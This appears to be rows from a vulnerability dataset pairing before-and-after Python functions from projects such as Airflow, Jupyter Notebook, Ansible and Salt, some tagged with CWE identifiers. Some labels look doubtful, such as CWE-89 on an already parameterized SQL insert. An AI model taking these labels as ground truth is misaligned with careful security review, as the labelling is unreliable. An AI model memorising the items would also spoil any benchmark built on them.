                    self._config.DUMP_DIR, ""{0}.{1:x}.{2}-{3}.dmp"".format(
                    name, offset, vad_start, vad_end))

                f = open(path, 'wb')
                if f:
                    range_data = task_space.zread(vad.Start, vad.End - vad.Start + 1)

                    if self._config.VERBOSE:
                        outfd.write(""Writing VAD for {0}\n"".format(path))

                    f.write(range_data)
                    f.close()
                else:
                    outfd.write(""Cannot open {0} for writing\n"".format(path))",,volatilityfoundation/volatility,f7b46ccef54e29c56b938c8e11eb6368c5a8ae3a,"def render_text(self, outfd, data):
        if self._config.DUMP_DIR == None:
            debug.error(""Please specify a dump directory (--dump-dir)"")
        if not os.path.isdir(self._config.DUMP_DIR):
            debug.error(self._config.DUMP_DIR + "" is not a directory"")

        for task in data:
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))

            # Walking the VAD tree can be done in kernel AS, but to 
            # carve the actual data, we need a valid process AS. 
            task_space = task.get_process_address_space()
            if not task_space:
                outfd.write(""Unable to get process AS\n"")
                continue

            name = task.ImageFileName
            offset = task_space.vtop(task.obj_offset)

            outfd.write(""*"" * 72 + ""\n"")
            for vad in task.VadRoot.traverse():
                if not vad.is_valid():
                    continue 

                # Open the file and initialize the data

                vad_start = self.format_value(vad.Start, ""[addrpad]"")
                vad_end = self.format_value(vad.End, ""[addrpad]"")

                path = os.path.join(
                    self._config.DUMP_DIR, ""{0}.{1:x}.{2}-{3}.dmp"".format(
                    name, offset, vad_start, vad_end))

                f = open(path, 'wb')
                if f:
                    range_data = task_space.zread(vad.Start, vad.End - vad.Start + 1)

                    if self._config.VERBOSE:
                        outfd.write(""Writing VAD for {0}\n"".format(path))

                    f.write(range_data)
                    f.close()
                else:
                    outfd.write(""Cannot open {0} for writing\n"".format(path))"
,UNKNOWN,UNKNOWN,tests/www/views/conftest.py,1,"def app(examples_dag_bag):
    @dont_initialize_flask_app_submodules(
        skip_all_except=[
            ""init_api_connexion"",
            ""init_appbuilder"",
            ""init_appbuilder_links"",
            ""init_appbuilder_views"",
            ""init_flash_views"",
            ""init_jinja_globals"",
            ""init_plugins"",
            ""init_airflow_session_interface"",
        ]
    )
    def factory():
        return create_app(testing=True)

    app = factory()
    app.config[""WTF_CSRF_ENABLED""] = False
    app.dag_bag = examples_dag_bag
    app.jinja_env.undefined = jinja2.StrictUndefined

    security_manager = app.appbuilder.sm
    if not security_manager.find_user(username='test'):
        security_manager.add_user(
            username='test',
            first_name='test',
            last_name='test',
            email='test@fab.org',
            role=security_manager.find_role('Admin'),
            password='test',
        )
    if not security_manager.find_user(username='test_user'):
        security_manager.add_user(
            username='test_user',
            first_name='test_user',
            last_name='test_user',
            email='test_user@fab.org',
            role=security_manager.find_role('User'),
            password='test_user',
        )
    if not security_manager.find_user(username='test_viewer'):
        security_manager.add_user(
            username='test_viewer',
            first_name='test_viewer',
            last_name='test_viewer',
            email='test_viewer@fab.org',
            role=security_manager.find_role('Viewer'),
            password='test_viewer',
        )

    yield app

    delete_roles(app)",CWE-259,apache/airflow,1c2909f8d69ade70803f10653e4845319ae99c0e,"def app(examples_dag_bag):
    @dont_initialize_flask_app_submodules(
        skip_all_except=[
            ""init_api_connexion"",
            ""init_appbuilder"",
            ""init_appbuilder_links"",
            ""init_appbuilder_views"",
            ""init_flash_views"",
            ""init_jinja_globals"",
            ""init_plugins"",
        ]
    )
    def factory():
        return create_app(testing=True)

    app = factory()
    app.config[""WTF_CSRF_ENABLED""] = False
    app.dag_bag = examples_dag_bag
    app.jinja_env.undefined = jinja2.StrictUndefined

    security_manager = app.appbuilder.sm
    if not security_manager.find_user(username='test'):
        security_manager.add_user(
            username='test',
            first_name='test',
            last_name='test',
            email='test@fab.org',
            role=security_manager.find_role('Admin'),
            password='test',
        )
    if not security_manager.find_user(username='test_user'):
        security_manager.add_user(
            username='test_user',
            first_name='test_user',
            last_name='test_user',
            email='test_user@fab.org',
            role=security_manager.find_role('User'),
            password='test_user',
        )
    if not security_manager.find_user(username='test_viewer'):
        security_manager.add_user(
            username='test_viewer',
            first_name='test_viewer',
            last_name='test_viewer',
            email='test_viewer@fab.org',
            role=security_manager.find_role('Viewer'),
            password='test_viewer',
        )

    yield app

    delete_roles(app)"
,UNKNOWN,UNKNOWN,notebook/services/sessions/sessionmanager.py,1,"def save_session(self, session_id, path=None, type=None, kernel_id=None):
        """"""Saves the items for the session with the given session_id
        
        Given a session_id (and any other of the arguments), this method
        creates a row in the sqlite session database that holds the information
        for a session.
        
        Parameters
        ----------
        session_id : str
            uuid for the session; this method must be given a session_id
        path : str
            the path for the given session
        kernel_id : str
            a uuid for the kernel associated with this session
        
        Returns
        -------
        model : dict
            a dictionary of the session model
        """"""
        self.cursor.execute(""INSERT INTO session VALUES (?,?,?,?)"",
            (session_id, path, type, kernel_id)
        )
        return self.get_session(session_id=session_id)",CWE-89,jupyter/notebook,6486b2430f0a52b09b9f76cda6f98cbe8706cdbc,"def save_session(self, session_id, path=None, type=None, kernel_id=None):
        """"""Saves the items for the session with the given session_id
        
        Given a session_id (and any other of the arguments), this method
        creates a row in the sqlite session database that holds the information
        for a session.
        
        Parameters
        ----------
        session_id : str
            uuid for the session; this method must be given a session_id
        path : str
            the path for the given notebook
        kernel_id : str
            a uuid for the kernel associated with this session
        
        Returns
        -------
        model : dict
            a dictionary of the session model
        """"""
        self.cursor.execute(""INSERT INTO session VALUES (?,?,?,?)"",
            (session_id, path, type, kernel_id)
        )
        return self.get_session(session_id=session_id)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/test_nbextensions.py,0,"def test_quiet(self):
        stdout = StringIO()
        stderr = StringIO()
        with patch.object(sys, 'stdout', stdout), \
             patch.object(sys, 'stderr', stderr):
            install_nbextension(self.src, logger=None)
        self.assertEqual(stdout.getvalue(), '')
        self.assertEqual(stderr.getvalue(), '')",,jupyter/notebook,b8e1e8d712a4120d05611a802e7a073e86292c1c,"def test_quiet(self):
        stdout = StringIO()
        stderr = StringIO()
        with patch.object(sys, 'stdout', stdout), \
             patch.object(sys, 'stderr', stderr):
            install_nbextension(self.src, verbose=0)
        self.assertEqual(stdout.getvalue(), '')
        self.assertEqual(stderr.getvalue(), '')"
,UNKNOWN,UNKNOWN,test/units/utils/collection_loader/test_collection_loader.py,1,"def test_default_collection_config():
    finder = get_default_finder()
    reset_collections_loader_state(finder)
    assert AnsibleCollectionConfig.default_collection is None
    AnsibleCollectionConfig.default_collection = 'foo.bar'
    assert AnsibleCollectionConfig.default_collection == 'foo.bar'",CWE-703,ansible/ansible,e05c62547b3d547ffb433d1cf66e82b353f24262,"def test_default_collection_config():
    finder = get_default_finder()
    reset_collections_loader_state(finder)
    assert AnsibleCollectionConfig.default_collection is None
    AnsibleCollectionConfig.default_collection = 'foo.bar'
    assert AnsibleCollectionConfig.default_collection == 'foo.bar'
    with pytest.raises(ValueError):
        AnsibleCollectionConfig.default_collection = 'bar.baz'"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/stringutils.py,0,"def to_unicode(s, encoding=None, errors='strict', normalize=False):
    '''
    Given str or unicode, return unicode (str for python 3)
    '''
    def _normalize(s):
        return unicodedata.normalize('NFC', s) if normalize else s

    if encoding is None:
        # Try utf-8 first, and fall back to detected encoding
        encoding = ('utf-8', __salt_system_encoding__)
    if not isinstance(encoding, (tuple, list)):
        encoding = (encoding,)

    if not encoding:
        raise ValueError('encoding cannot be empty')

    exc = None
    if six.PY3:
        if isinstance(s, str):
            return _normalize(s)
        elif isinstance(s, (bytes, bytearray)):
            return _normalize(to_str(s, encoding, errors))
        raise TypeError('expected str, bytes, or bytearray not {}'.format(type(s)))
    else:
        # This needs to be str and not six.string_types, since if the string is
        # already a unicode type, it does not need to be decoded (and doing so
        # will raise an exception).
        if isinstance(s, unicode):  # pylint: disable=incompatible-py3-code,undefined-variable
            return _normalize(s)
        elif isinstance(s, (str, bytearray)):
            for enc in encoding:
                try:
                    return _normalize(s.decode(enc, errors))
                except UnicodeDecodeError as err:
                    exc = err
                    continue
            # The only way we get this far is if a UnicodeDecodeError was
            # raised, otherwise we would have already returned (or raised some
            # other exception).
            raise exc  # pylint: disable=raising-bad-type
        raise TypeError('expected str, bytes, or bytearray not {}'.format(type(s)))",,saltstack/salt,b0405a60fe5e26f30dbcc4fccb9df8acfa34b56d,"def to_unicode(s, encoding=None, errors='strict', normalize=False):
    '''
    Given str or unicode, return unicode (str for python 3)
    '''
    def _normalize(s):
        return unicodedata.normalize('NFC', s) if normalize else s

    if encoding is None:
        # Try utf-8 first, and fall back to detected encoding
        encoding = ('utf-8', __salt_system_encoding__)
    if not isinstance(encoding, (tuple, list)):
        encoding = (encoding,)

    if not encoding:
        raise ValueError('encoding cannot be empty')

    exc = None
    if six.PY3:
        if isinstance(s, str):
            return _normalize(s)
        elif isinstance(s, (bytes, bytearray)):
            return _normalize(to_str(s, encoding, errors))
        raise TypeError('expected str, bytes, or bytearray not {}'.format(type(s)))
    else:
        # This needs to be str and not six.string_types, since if the string is
        # already a unicode type, it does not need to be decoded (and doing so
        # will raise an exception).
        if isinstance(s, unicode):  # pylint: disable=incompatible-py3-code
            return _normalize(s)
        elif isinstance(s, (str, bytearray)):
            for enc in encoding:
                try:
                    return _normalize(s.decode(enc, errors))
                except UnicodeDecodeError as err:
                    exc = err
                    continue
            # The only way we get this far is if a UnicodeDecodeError was
            # raised, otherwise we would have already returned (or raised some
            # other exception).
            raise exc  # pylint: disable=raising-bad-type
        raise TypeError('expected str, bytes, or bytearray not {}'.format(type(s)))"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/strategy/linear.py,0,"def run(self, iterator, play_context):
        '''
        The linear strategy is simple - get the next task and queue
        it for all hosts, then wait for the queue to drain before
        moving on to the next task
        '''

        # iteratate over each task, while there is one left to run
        result = self._tqm.RUN_OK
        work_to_do = True
        while work_to_do and not self._tqm._terminated:

            try:
                display.debug(""getting the remaining hosts for this loop"")
                hosts_left = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts]
                display.debug(""done getting the remaining hosts for this loop"")

                # queue up this task for each host in the inventory
                callback_sent = False
                work_to_do = False

                host_results = []
                host_tasks = self._get_next_task_lockstep(hosts_left, iterator)

                # skip control
                skip_rest   = False
                choose_step = True

                # flag set if task is set to any_errors_fatal
                any_errors_fatal = False

                results = []
                for (host, task) in host_tasks:
                    if not task:
                        continue

                    if self._tqm._terminated:
                        break

                    run_once = False
                    work_to_do = True

                    # test to see if the task across all hosts points to an action plugin which
                    # sets BYPASS_HOST_LOOP to true, or if it has run_once enabled. If so, we
                    # will only send this task to the first host in the list.

                    try:
                        action = action_loader.get(task.action, class_only=True)
                    except KeyError:
                        # we don't care here, because the action may simply not have a
                        # corresponding action plugin
                        action = None

                    # check to see if this task should be skipped, due to it being a member of a
                    # role which has already run (and whether that role allows duplicate execution)
                    if task._role and task._role.has_run(host):
                        # If there is no metadata, the default behavior is to not allow duplicates,
                        # if there is metadata, check to see if the allow_duplicates flag was set to true
                        if task._role._metadata is None or task._role._metadata and not task._role._metadata.allow_duplicates:
                            display.debug(""'%s' skipped because role has already run"" % task)
                            continue

                    if task.action == 'meta':
                        # for the linear strategy, we run meta tasks just once and for
                        # all hosts currently being iterated over rather than one host
                        results.extend(self._execute_meta(task, play_context, iterator))
                        if task.args.get('_raw_params', None) != 'noop':
                            run_once = True
                    else:
                        # handle step if needed, skip meta actions as they are used internally
                        if self._step and choose_step:
                            if self._take_step(task):
                                choose_step = False
                            else:
                                skip_rest = True
                                break

                        display.debug(""getting variables"")
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        templar = Templar(loader=self._loader, variables=task_vars)
                        display.debug(""done getting variables"")

                        run_once = templar.template(task.run_once) or action and getattr(action, 'BYPASS_HOST_LOOP', False)

                        if (task.any_errors_fatal or run_once) and not task.ignore_errors:
                            any_errors_fatal = True

                        if not callback_sent:
                            display.debug(""sending task start callback, copying the task so we can template it temporarily"")
                            saved_name = task.name
                            display.debug(""done copying, going to template now"")
                            try:
                                task.name = to_text(templar.template(task.name, fail_on_undefined=False), nonstring='empty')
                                display.debug(""done templating"")
                            except:
                                # just ignore any errors during task name templating,
                                # we don't care if it just shows the raw name
                                display.debug(""templating failed for some reason"")
                                pass
                            display.debug(""here goes the callback..."")
                            self._tqm.send_callback('v2_playbook_on_task_start', task, is_conditional=False)
                            task.name = saved_name
                            callback_sent = True
                            display.debug(""sending task start callback"")

                        self._blocked_hosts[host.get_name()] = True
                        self._queue_task(host, task, task_vars, play_context)
                        del task_vars

                    # if we're bypassing the host loop, break out now
                    if run_once:
                        break

                    results += self._process_pending_results(iterator, max_passes=max(1, int(len(self._tqm._workers) * 0.1)))

                # go to next host/task group
                if skip_rest:
                    continue

                display.debug(""done queuing things up, now waiting for results queue to drain"")
                if self._pending_results > 0:
                    results += self._wait_on_pending_results(iterator)
                host_results.extend(results)

                all_role_blocks = []
                for hr in results:
                    # handle include_role
                    if hr._task.action == 'include_role':
                        loop_var = None
                        if hr._task.loop:
                            loop_var = 'item'
                            if hr._task.loop_control:
                                loop_var = hr._task.loop_control.loop_var or 'item'
                            include_results = hr._result.get('results', [])
                        else:
                            include_results = [ hr._result ]

                        for include_result in include_results:
                            if 'skipped' in include_result and include_result['skipped'] or 'failed' in include_result and include_result['failed']:
                                continue

                            display.debug(""generating all_blocks data for role"")
                            new_ir = hr._task.copy()
                            new_ir.vars.update(include_result.get('include_variables', dict()))
                            if loop_var and loop_var in include_result:
                                new_ir.vars[loop_var] = include_result[loop_var]

                            all_role_blocks.extend(new_ir.get_block_list(play=iterator._play, variable_manager=self._variable_manager, loader=self._loader))

                if len(all_role_blocks) > 0:
                    for host in hosts_left:
                        iterator.add_tasks(host, all_role_blocks)

                try:
                    included_files = IncludedFile.process_include_results(
                        host_results,
                        self._tqm,
                        iterator=iterator,
                        inventory=self._inventory,
                        loader=self._loader,
                        variable_manager=self._variable_manager
                    )
                except AnsibleError as e:
                    # this is a fatal error, so we abort here regardless of block state
                    return self._tqm.RUN_ERROR

                include_failure = False
                if len(included_files) > 0:
                    display.debug(""we have included files to process"")
                    noop_task = Task()
                    noop_task.action = 'meta'
                    noop_task.args['_raw_params'] = 'noop'
                    noop_task.set_loader(iterator._play._loader)

                    display.debug(""generating all_blocks data"")
                    all_blocks = dict((host, []) for host in hosts_left)
                    display.debug(""done generating all_blocks data"")
                    for included_file in included_files:
                        display.debug(""processing included file: %s"" % included_file._filename)
                        # included hosts get the task list while those excluded get an equal-length
                        # list of noop tasks, to make sure that they continue running in lock-step
                        try:
                            new_blocks = self._load_included_file(included_file, iterator=iterator)

                            display.debug(""iterating over new_blocks loaded from include file"")
                            for new_block in new_blocks:
                                task_vars = self._variable_manager.get_vars(
                                    loader=self._loader,
                                    play=iterator._play,
                                    task=included_file._task,
                                )
                                display.debug(""filtering new block on tags"")
                                final_block = new_block.filter_tagged_tasks(play_context, task_vars)
                                display.debug(""done filtering new block on tags"")

                                noop_block = Block(parent_block=task._parent)
                                noop_block.block  = [noop_task for t in new_block.block]
                                noop_block.always = [noop_task for t in new_block.always]
                                noop_block.rescue = [noop_task for t in new_block.rescue]

                                for host in hosts_left:
                                    if host in included_file._hosts:
                                        all_blocks[host].append(final_block)
                                    else:
                                        all_blocks[host].append(noop_block)
                            display.debug(""done iterating over new_blocks loaded from include file"")

                        except AnsibleError as e:
                            for host in included_file._hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                            display.error(to_text(e), wrap_text=False)
                            include_failure = True
                            continue

                    # finally go through all of the hosts and append the
                    # accumulated blocks to their list of tasks
                    display.debug(""extending task lists for all hosts with included blocks"")

                    for host in hosts_left:
                        iterator.add_tasks(host, all_blocks[host])

                    display.debug(""done extending task lists"")
                    display.debug(""done processing included files"")

                display.debug(""results queue empty"")

                display.debug(""checking for any_errors_fatal"")
                failed_hosts = []
                unreachable_hosts = []
                for res in results:
                    if res.is_failed():
                        failed_hosts.append(res._host.name)
                    elif res.is_unreachable():
                        unreachable_hosts.append(res._host.name)

                # if any_errors_fatal and we had an error, mark all hosts as failed
                if any_errors_fatal and (len(failed_hosts) > 0 or len(unreachable_hosts) > 0):
                    for host in hosts_left:
                        (s, _) = iterator.get_next_task_for_host(host, peek=True)
                        if s.run_state != iterator.ITERATING_RESCUE or \
                           s.run_state == iterator.ITERATING_RESCUE and s.fail_state & iterator.FAILED_RESCUE != 0:
                            self._tqm._failed_hosts[host.name] = True
                            result |= self._tqm.RUN_FAILED_BREAK_PLAY
                display.debug(""done checking for any_errors_fatal"")

                display.debug(""checking for max_fail_percentage"")
                if iterator._play.max_fail_percentage is not None and len(results) > 0:
                    percentage = iterator._play.max_fail_percentage / 100.0

                    if (len(self._tqm._failed_hosts) / len(results)) > percentage:
                        for host in hosts_left:
                            # don't double-mark hosts, or the iterator will potentially
                            # fail them out of the rescue/always states
                            if host.name not in failed_hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                        self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                        result |= self._tqm.RUN_FAILED_BREAK_PLAY
                display.debug(""done checking for max_fail_percentage"")

                display.debug(""checking to see if all hosts have failed and the running result is not ok"")
                if result != self._tqm.RUN_OK and len(self._tqm._failed_hosts) >= len(hosts_left):
                    display.debug(""^ not ok, so returning result now"")
                    self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                    return result
                display.debug(""done checking to see if all hosts have failed"")

            except (IOError, EOFError) as e:
                display.debug(""got IOError/EOFError in task loop: %s"" % e)
                # most likely an abort, return failed
                return self._tqm.RUN_UNKNOWN_ERROR

        # run the base class run() method, which executes the cleanup function
        # and runs any outstanding handlers which have been triggered

        return super(StrategyModule, self).run(iterator, play_context, result)",,ansible/ansible,35e198a61671a44a41090f034b0a8c784b56d0ca,"def run(self, iterator, play_context):
        '''
        The linear strategy is simple - get the next task and queue
        it for all hosts, then wait for the queue to drain before
        moving on to the next task
        '''

        # iteratate over each task, while there is one left to run
        result = self._tqm.RUN_OK
        work_to_do = True
        while work_to_do and not self._tqm._terminated:

            try:
                display.debug(""getting the remaining hosts for this loop"")
                hosts_left = [host for host in self._inventory.get_hosts(iterator._play.hosts) if host.name not in self._tqm._unreachable_hosts]
                display.debug(""done getting the remaining hosts for this loop"")

                # queue up this task for each host in the inventory
                callback_sent = False
                work_to_do = False

                host_results = []
                host_tasks = self._get_next_task_lockstep(hosts_left, iterator)

                # skip control
                skip_rest   = False
                choose_step = True

                # flag set if task is set to any_errors_fatal
                any_errors_fatal = False

                results = []
                for (host, task) in host_tasks:
                    if not task:
                        continue

                    if self._tqm._terminated:
                        break

                    run_once = False
                    work_to_do = True

                    # test to see if the task across all hosts points to an action plugin which
                    # sets BYPASS_HOST_LOOP to true, or if it has run_once enabled. If so, we
                    # will only send this task to the first host in the list.

                    try:
                        action = action_loader.get(task.action, class_only=True)
                    except KeyError:
                        # we don't care here, because the action may simply not have a
                        # corresponding action plugin
                        action = None

                    # check to see if this task should be skipped, due to it being a member of a
                    # role which has already run (and whether that role allows duplicate execution)
                    if task._role and task._role.has_run(host):
                        # If there is no metadata, the default behavior is to not allow duplicates,
                        # if there is metadata, check to see if the allow_duplicates flag was set to true
                        if task._role._metadata is None or task._role._metadata and not task._role._metadata.allow_duplicates:
                            display.debug(""'%s' skipped because role has already run"" % task)
                            continue

                    if task.action == 'meta':
                        # for the linear strategy, we run meta tasks just once and for
                        # all hosts currently being iterated over rather than one host
                        results.extend(self._execute_meta(task, play_context, iterator))
                        if task.args.get('_raw_params', None) != 'noop':
                            run_once = True
                    else:
                        # handle step if needed, skip meta actions as they are used internally
                        if self._step and choose_step:
                            if self._take_step(task):
                                choose_step = False
                            else:
                                skip_rest = True
                                break

                        display.debug(""getting variables"")
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        templar = Templar(loader=self._loader, variables=task_vars)
                        display.debug(""done getting variables"")

                        run_once = templar.template(task.run_once) or action and getattr(action, 'BYPASS_HOST_LOOP', False)

                        if (task.any_errors_fatal or run_once) and not task.ignore_errors:
                            any_errors_fatal = True

                        if not callback_sent:
                            display.debug(""sending task start callback, copying the task so we can template it temporarily"")
                            saved_name = task.name
                            display.debug(""done copying, going to template now"")
                            try:
                                task.name = to_text(templar.template(task.name, fail_on_undefined=False), nonstring='empty')
                                display.debug(""done templating"")
                            except:
                                # just ignore any errors during task name templating,
                                # we don't care if it just shows the raw name
                                display.debug(""templating failed for some reason"")
                                pass
                            display.debug(""here goes the callback..."")
                            self._tqm.send_callback('v2_playbook_on_task_start', task, is_conditional=False)
                            task.name = saved_name
                            callback_sent = True
                            display.debug(""sending task start callback"")

                        self._blocked_hosts[host.get_name()] = True
                        self._queue_task(host, task, task_vars, play_context)
                        del task_vars

                    # if we're bypassing the host loop, break out now
                    if run_once:
                        break

                    results += self._process_pending_results(iterator, max_passes=max(1, int(len(self._tqm._workers) * 0.1)))

                # go to next host/task group
                if skip_rest:
                    continue

                display.debug(""done queuing things up, now waiting for results queue to drain"")
                if self._pending_results > 0:
                    results += self._wait_on_pending_results(iterator)
                host_results.extend(results)

                all_role_blocks = []
                for hr in results:
                    # handle include_role
                    if hr._task.action == 'include_role':
                        loop_var = None
                        if hr._task.loop:
                            loop_var = 'item'
                            if hr._task.loop_control:
                                loop_var = hr._task.loop_control.loop_var or 'item'
                            include_results = hr._result['results']
                        else:
                            include_results = [ hr._result ]

                        for include_result in include_results:
                            if 'skipped' in include_result and include_result['skipped'] or 'failed' in include_result and include_result['failed']:
                                continue

                            display.debug(""generating all_blocks data for role"")
                            new_ir = hr._task.copy()
                            new_ir.vars.update(include_result.get('include_variables', dict()))
                            if loop_var and loop_var in include_result:
                                new_ir.vars[loop_var] = include_result[loop_var]

                            all_role_blocks.extend(new_ir.get_block_list(play=iterator._play, variable_manager=self._variable_manager, loader=self._loader))

                if len(all_role_blocks) > 0:
                    for host in hosts_left:
                        iterator.add_tasks(host, all_role_blocks)

                try:
                    included_files = IncludedFile.process_include_results(
                        host_results,
                        self._tqm,
                        iterator=iterator,
                        inventory=self._inventory,
                        loader=self._loader,
                        variable_manager=self._variable_manager
                    )
                except AnsibleError as e:
                    # this is a fatal error, so we abort here regardless of block state
                    return self._tqm.RUN_ERROR

                include_failure = False
                if len(included_files) > 0:
                    display.debug(""we have included files to process"")
                    noop_task = Task()
                    noop_task.action = 'meta'
                    noop_task.args['_raw_params'] = 'noop'
                    noop_task.set_loader(iterator._play._loader)

                    display.debug(""generating all_blocks data"")
                    all_blocks = dict((host, []) for host in hosts_left)
                    display.debug(""done generating all_blocks data"")
                    for included_file in included_files:
                        display.debug(""processing included file: %s"" % included_file._filename)
                        # included hosts get the task list while those excluded get an equal-length
                        # list of noop tasks, to make sure that they continue running in lock-step
                        try:
                            new_blocks = self._load_included_file(included_file, iterator=iterator)

                            display.debug(""iterating over new_blocks loaded from include file"")
                            for new_block in new_blocks:
                                task_vars = self._variable_manager.get_vars(
                                    loader=self._loader,
                                    play=iterator._play,
                                    task=included_file._task,
                                )
                                display.debug(""filtering new block on tags"")
                                final_block = new_block.filter_tagged_tasks(play_context, task_vars)
                                display.debug(""done filtering new block on tags"")

                                noop_block = Block(parent_block=task._parent)
                                noop_block.block  = [noop_task for t in new_block.block]
                                noop_block.always = [noop_task for t in new_block.always]
                                noop_block.rescue = [noop_task for t in new_block.rescue]

                                for host in hosts_left:
                                    if host in included_file._hosts:
                                        all_blocks[host].append(final_block)
                                    else:
                                        all_blocks[host].append(noop_block)
                            display.debug(""done iterating over new_blocks loaded from include file"")

                        except AnsibleError as e:
                            for host in included_file._hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                            display.error(to_text(e), wrap_text=False)
                            include_failure = True
                            continue

                    # finally go through all of the hosts and append the
                    # accumulated blocks to their list of tasks
                    display.debug(""extending task lists for all hosts with included blocks"")

                    for host in hosts_left:
                        iterator.add_tasks(host, all_blocks[host])

                    display.debug(""done extending task lists"")
                    display.debug(""done processing included files"")

                display.debug(""results queue empty"")

                display.debug(""checking for any_errors_fatal"")
                failed_hosts = []
                unreachable_hosts = []
                for res in results:
                    if res.is_failed():
                        failed_hosts.append(res._host.name)
                    elif res.is_unreachable():
                        unreachable_hosts.append(res._host.name)

                # if any_errors_fatal and we had an error, mark all hosts as failed
                if any_errors_fatal and (len(failed_hosts) > 0 or len(unreachable_hosts) > 0):
                    for host in hosts_left:
                        (s, _) = iterator.get_next_task_for_host(host, peek=True)
                        if s.run_state != iterator.ITERATING_RESCUE or \
                           s.run_state == iterator.ITERATING_RESCUE and s.fail_state & iterator.FAILED_RESCUE != 0:
                            self._tqm._failed_hosts[host.name] = True
                            result |= self._tqm.RUN_FAILED_BREAK_PLAY
                display.debug(""done checking for any_errors_fatal"")

                display.debug(""checking for max_fail_percentage"")
                if iterator._play.max_fail_percentage is not None and len(results) > 0:
                    percentage = iterator._play.max_fail_percentage / 100.0

                    if (len(self._tqm._failed_hosts) / len(results)) > percentage:
                        for host in hosts_left:
                            # don't double-mark hosts, or the iterator will potentially
                            # fail them out of the rescue/always states
                            if host.name not in failed_hosts:
                                self._tqm._failed_hosts[host.name] = True
                                iterator.mark_host_failed(host)
                        self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                        result |= self._tqm.RUN_FAILED_BREAK_PLAY
                display.debug(""done checking for max_fail_percentage"")

                display.debug(""checking to see if all hosts have failed and the running result is not ok"")
                if result != self._tqm.RUN_OK and len(self._tqm._failed_hosts) >= len(hosts_left):
                    display.debug(""^ not ok, so returning result now"")
                    self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                    return result
                display.debug(""done checking to see if all hosts have failed"")

            except (IOError, EOFError) as e:
                display.debug(""got IOError/EOFError in task loop: %s"" % e)
                # most likely an abort, return failed
                return self._tqm.RUN_UNKNOWN_ERROR

        # run the base class run() method, which executes the cleanup function
        # and runs any outstanding handlers which have been triggered

        return super(StrategyModule, self).run(iterator, play_context, result)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/kb/knowledgeBase.py,0,"def save( self, callingInstance, variableName, value ):
        '''
        This method saves the variableName value to a dict.
        '''
        if isinstance( callingInstance, str ):
            name = callingInstance
        else:
            name = callingInstance.getName()
        
        if self.getLock():
            if name not in self._kb.keys():
                self._kb[ name ] = {variableName: value}
            else:
                self._kb[ name ][ variableName ] = value
            self.releaseLock()",,andresriancho/w3af,43423ad72d439a5c77ed264fb2c799eb77bfdafa,"def save( self, callingInstance, variableName, value ):
        '''
        This method saves the variableName value to a dict.
        '''
        if isinstance( callingInstance, str ):
            name = callingInstance
        else:
            name = callingInstance.getName()
        
        self._kbLock.acquire()
        if name not in self._kb.keys():
            self._kb[ name ] = {variableName: value}
        else:
            self._kb[ name ][ variableName ] = value
        self._kbLock.release()"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/cli/main.py,0,"def main():
    """"""Bandit CLI.""""""
    # bring our logging stuff up as early as possible
    debug = (
        logging.DEBUG
        if ""-d"" in sys.argv or ""--debug"" in sys.argv
        else logging.INFO
    )
    _init_logger(debug)
    extension_mgr = _init_extensions()

    baseline_formatters = [
        f.name
        for f in filter(
            lambda x: hasattr(x.plugin, ""_accepts_baseline""),
            extension_mgr.formatters,
        )
    ]

    # now do normal startup
    parser = argparse.ArgumentParser(
        description=""Bandit - a Python source code security analyzer"",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        ""targets"",
        metavar=""targets"",
        type=str,
        nargs=""*"",
        help=""source file(s) or directory(s) to be tested"",
    )
    parser.add_argument(
        ""-r"",
        ""--recursive"",
        dest=""recursive"",
        action=""store_true"",
        help=""find and process files in subdirectories"",
    )
    parser.add_argument(
        ""-a"",
        ""--aggregate"",
        dest=""agg_type"",
        action=""store"",
        default=""file"",
        type=str,
        choices=[""file"", ""vuln""],
        help=""aggregate output by vulnerability (default) or by filename"",
    )
    parser.add_argument(
        ""-n"",
        ""--number"",
        dest=""context_lines"",
        action=""store"",
        default=3,
        type=int,
        help=""maximum number of code lines to output for each issue"",
    )
    parser.add_argument(
        ""-c"",
        ""--configfile"",
        dest=""config_file"",
        action=""store"",
        default=None,
        type=str,
        help=""optional config file to use for selecting plugins and ""
        ""overriding defaults"",
    )
    parser.add_argument(
        ""-p"",
        ""--profile"",
        dest=""profile"",
        action=""store"",
        default=None,
        type=str,
        help=""profile to use (defaults to executing all tests)"",
    )
    parser.add_argument(
        ""-t"",
        ""--tests"",
        dest=""tests"",
        action=""store"",
        default=None,
        type=str,
        help=""comma-separated list of test IDs to run"",
    )
    parser.add_argument(
        ""-s"",
        ""--skip"",
        dest=""skips"",
        action=""store"",
        default=None,
        type=str,
        help=""comma-separated list of test IDs to skip"",
    )
    severity_group = parser.add_mutually_exclusive_group(required=False)
    severity_group.add_argument(
        ""-l"",
        ""--level"",
        dest=""severity"",
        action=""count"",
        default=1,
        help=""report only issues of a given severity level or ""
        ""higher (-l for LOW, -ll for MEDIUM, -lll for HIGH)"",
    )
    severity_group.add_argument(
        ""--severity-level"",
        dest=""severity_string"",
        action=""store"",
        help=""report only issues of a given severity level or higher.""
        ' ""all"" and ""low"" are likely to produce the same results, but it'
        "" is possible for rules to be undefined which will""
        ' not be listed in ""low"".',
        choices=[""all"", ""low"", ""medium"", ""high""],
    )
    confidence_group = parser.add_mutually_exclusive_group(required=False)
    confidence_group.add_argument(
        ""-i"",
